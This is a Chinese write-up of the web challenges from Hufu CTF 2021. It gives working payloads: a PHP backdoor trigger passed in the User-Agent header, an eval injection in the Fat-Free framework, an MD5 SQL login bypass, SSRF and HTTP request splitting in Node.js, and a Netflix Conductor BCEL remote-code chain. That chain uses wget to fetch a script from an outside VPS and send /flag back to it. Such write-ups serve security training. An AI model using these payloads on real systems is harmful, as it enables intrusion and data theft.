虎符CTF2021-Web部分

清明时打了一下虎符ctf,最后是第37名,稍微回顾一下web部分

0x01 签到

签到题给的是一个web博客,最新的一篇文章是讲的如何搭建的

一开始实在没想到是啥,后来放出hint是最新的php git仓库被污染写后门的事,太秀了

网上找一下payload,在user-agent里加zerodium

User-Agent: zerodiumsystem("cat /flag");

0x02 unsetme

题目打开就是php代码

<?php

// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
	trigger_error('PCRE version is out of date');

// Load configuration
$a = $_GET['a'];
unset($f3->$a);

$f3->run();

网上搜了一下,是f3框架,fat-free framework

搜了一下这个框架的漏洞,发现一个CVE-2020-5203(https://github.com/fgsec/Exploits/blob/master/CVE-2020-5203.md)

我们直接用它的payload并不能打成功,应该是最新版本的f3

我们在本地搭建一下f3框架,开一下报错

我们看一看lib/base.php的第530行

else {
			$val=preg_replace('/^(\$hive)/','$this->hive',
				$this->compile('@hive.'.$key, FALSE));
			eval('unset('.$val.');');
			if ($parts[0]=='SESSION') {
				session_commit();
				session_start();
			}
			if ($cache->exists($hash=$this->hash($key).'.var'))
				// Remove from cache
				$cache->clear($hash);
		}

如果我们用echo $f3->$a的话,会提示

说明我们的a会被当成hive key

查看base.php的530行

基本可以判断我们的a会被拼接到eval中去

那么我们只需要想办法构造出闭合,就可以实现执行eval代码

利用%0a的换行来构造,最终payload:1%0a);%0aphpinfo(

0x03 ‘慢慢做’管理系统

这题当时比赛的时候没做出来,看了一下别的师傅的wp,真的脑溢血了

首先题目是一个登陆,给了hint

"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";

直接用129581926211651571912466741651878684928作为密码来绕过

登陆之后,我扫了一下发现有flag.php,但是提示

然后是一个ssrf的页面

试了一下file协议,并不行,应该是要用gopher

访问了一下127.0.0.1:3306,发现有提示,应该是要打mysql

然后用了一下网上的gopher工具(https://github.com/tarunkant/Gopherus)尝试直接打

发现access deny,比赛时就尬住了

后来看了别的师傅的wp才知道是堆叠注入,orz…

0x04 Internel System

比赛的时候没太仔细看(tcl,buu上有题目的复现,那就做一做

首先直接查看源码可以发现提示

/source中是源码,发现是nodejs写的

我们先看login路由

router.get('/login', (req, res, next) => {
  const {username, password} = req.query;

  if(!username || !password || username === password || username.length === password.length || username === 'admin') {
    res.render('login')
  } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))

    req.session.admin = hash === adminHash

    res.redirect('/index')
  }
})

可以发现我们需要用admin/admin登录,但是又限制了不让username==admin

这里可以用数组的方式绕过,/login?username[]=admin&password=admin

登录进来之后是

看起来像ssrf,但是直接输127.0.0.1等会被waf拦截

但是我们可以用http://0.0.0.0:3000访问到本地的3000端口

然后看一下源码中的/search

router.all('/search', async (req, res, next) => {
  if(!/127\.0\.0\.1/.test(req.ip)){
    return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
  }

  const result = {title: 'Search Success', content: ''}

  const method = req.method.toLowerCase()
  const url = decodeURI(req.query.url)
  const data = req.body

  try {
    if(method == 'get') {
      const response = await axios.get(url)
      result.content = formatResopnse(response.data)
    } else if(method == 'post') {
      const response = await axios.post(url, data)
      result.content = formatResopnse(response.data)
    } else {
      result.title = 'Error'
      result.content = 'Unsupported Method'
    }
  } catch(error) {
    result.title = 'Error'
    result.content = error.message
  }

  return res.json(result)
})

search方法只能是内网访问,那么我们上面用http://0.0.0.0:3000/search就可以访问到search

再看/proxy

router.get('/proxy', async(req, res, next) => {
  if(!req.session.admin) {
    return res.redirect('/index')
  }
  const url = decodeURI(req.query.url);

  console.log(url)

  const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

  if(!status) {
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
  } else {
    try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
      res.render('base', response.data)
    } catch(error) {
      res.render('base', error.message)
    }
  }
})

router.post('/proxy', async(req, res, next) => {
  if(!req.session.admin) {
    return res.redirect('/index')
  }
  // test url
  // not implemented here
  const url = "https://postman-echo.com/post"
  await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
  res.render('base', "Something needs to be implemented")
})

可以看到proxy上有waf,我们无法去访问/flag,但是search上是没有waf的,我们访问http://0.0.0.0:3000/search?url=http://127.0.0.1/flag

得到提示someone else also deploy a netflix conductor server in Internet?

网上查了一下,netflix conductor的端口在8080,我们手动尝试下看看在哪个机器

最后在14的机器上发现了不一样的地方

这应该就是netflix conductor的机器了,我们继续在网上查查这个东西

/api/admin/config可以查看配置信息

可以发现版本是2.26.0,查一查有没有什么漏洞

查到在2.25版本有一个rce(https://xz.aliyun.com/t/7889)

首先编写Evil.java

public class Evil {
    public Evil() {
        try {
            Runtime.getRuntime().exec("wget http://124.70.155.7:12456 -O /tmp/peco");//此处用的是wget下载自己vps的一个文件并存到本地
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public static void main(String[] args) {
    }
}

然后用javac Evil.java来生成Evil.class

再用工具(https://github.com/f1tz/BCELCodeman)生成BCEL编码

java -jar BCELCodeman.jar e Evil.class

如果生成的编码过短,请更换版本,使用1.8.0_211

然后就可以组合json了

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('//你的BCEL编码').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

但是这时又有一个新问题,post的内容我们不可控

router.post('/proxy', async(req, res, next) => {
  if(!req.session.admin) {
    return res.redirect('/index')
  }
  // test url
  // not implemented here
  const url = "https://postman-echo.com/post"
  await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
  res.render('base', "Something needs to be implemented")
})

这时我们需要用到nodejs 8的http库请求拆分漏洞

利用脚本构造payload

post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cbN$C1$U$86$ff$8e$p$D$e3$m7A$c1$bb$$$EMd$a1$3b$8c$h$83$x$bcD$8c$$$dc8$8c$NVaf2$U$c2$h$b9f$83$c6$85$P$e0C$a9$a75$R$Tm$d2$d3$9e$ff$fc$fdN$da$be$7f$bc$be$B$d8$c7$a6$8d8$e6l$e4Q$88c$5e$ad$L$W$8a6$a6Q$b2$b0ha$89$nv$m$7c$n$P$Z$a6$ca$95$x$G$f3$u$b8$e3$M$a9$86$f0$f9i$bf$db$e2$d1$a5$db$ea$90$92lJ$d7$7b$3cqC$9d$eb$d3E$b2w$5d$e13$U$ca7$8d$Hw$e0V$3b$ae$df$ae6e$q$fcvM$e1$ecf$d0$8f$3c$7e$y$U$oQ$l$88$ce$ae$f29H$c0$b6$b0$ec$60$F$ab$c4$ee$dd$afUe7$ac$86$dc$L$f6$i$aca$9d$n7$B$d6$87$k$P$a5$I$7c$H$h$b0$a9$ab$C1$a4$t$8e$b3$d6$D$f7$qCf$o$5d$f4$7d$v$ba$d4$d6ns$f9$93$e4$cb$95$c6$lO$8d$90$7c$c8$3d$86$ad$f2$3f$f7$f8$r$9dG$81$c7$7b$3d$3a$90$K$a9$u$f5$a3$5cF$ae$c7$b1$O$8b$k$5b$N$DL$dd$8f$e2$Me$b7$94$h$b4$W$b6$9f$c1$5e$60d$a7$c60$af$9f$Qo$ec$8c$R$h$91$cbD$Si$fa$T$D$O$f9J$88i$86$a9uKW2$a4$e5$89$99$a4J$g$c6$t$FfaV$85$94Iz$9a$i$df$dd$8a4$99$9a$p$bdQ$c0$98$W$i$8aY$N$ce$7d$B9L$XJ$l$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.8.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

得到payload:

http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.3.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1443%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cbN$C1$U$86$ff$8e$p$D$e3$m7A$c1$bb$$$EMd$a1$3b$8c$h$83$x$bcD$8c$$$dc8$8c$NVaf2$U$c2$h$b9f$83$c6$85$P$e0C$a9$a75$R$Tm$d2$d3$9e$ff$fc$fdN$da$be$7f$bc$be$B$d8$c7$a6$8d8$e6l$e4Q$88c$5e$ad$L$W$8a6$a6Q$b2$b0ha$89$nv$m$7c$n$P$Z$a6$ca$95$x$G$f3$u$b8$e3$M$a9$86$f0$f9i$bf$db$e2$d1$a5$db$ea$90$92lJ$d7$7b$3cqC$9d$eb$d3E$b2w$5d$e13$U$ca7$8d$Hw$e0V$3b$ae$df$ae6e$q$fcvM$e1$ecf$d0$8f$3c$7e$y$U$oQ$l$88$ce$ae$f29H$c0$b6$b0$ec$60$F$ab$c4$ee$dd$afUe7$ac$86$dc$L$f6$i$aca$9d$n7$B$d6$87$k$P$a5$I$7c$H$h$b0$a9$ab$C1$a4$t$8e$b3$d6$D$f7$qCf$o$5d$f4$7d$v$ba$d4$d6ns$f9$93$e4$cb$95$c6$lO$8d$90$7c$c8$3d$86$ad$f2$3f$f7$f8$r$9dG$81$c7$7b$3d$3a$90$K$a9$u$f5$a3$5cF$ae$c7$b1$O$8b$k$5b$N$DL$dd$8f$e2$Me$b7$94$h$b4$W$b6$9f$c1$5e$60d$a7$c60$af$9f$Qo$ec$8c$R$h$91$cbD$Si$fa$T$D$O$f9J$88i$86$a9uKW2$a4$e5$89$99$a4J$g$c6$t$FfaV$85$94Iz$9a$i$df$dd$8a4$99$9a$p$bdQ$c0$98$W$i$8aY$N$ce$7d$B9L$XJ$l$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

当然,在发送这个payload之前,我们需要在自己的vps上开好服务

import os
from flask import Flask,redirect
from flask import request


app = Flask(__name__)

@app.route('/')
def hello():
    return open("test1.txt").read()

if __name__ == '__main__':
    port = int(os.environ.get('PORT', 12456))
    app.run(host='0.0.0.0', port=port)

test1.txt的文件内容

#! /bin/sh
wget http://124.70.155.7:12456/1?a=`cat /flag`

先打第一个Evil.java,把我们的文件上传上去

然后重复一下上面的步骤,生成一个执行的Evil.java,来sh执行我们之前传上去的文件

public class Evil {
    public Evil() {
        try {
            Runtime.getRuntime().exec("sh /tmp/peco");
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public static void main(String[] args) {
    }
}

和上面一样的步骤,就能带出flag

参考链接:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇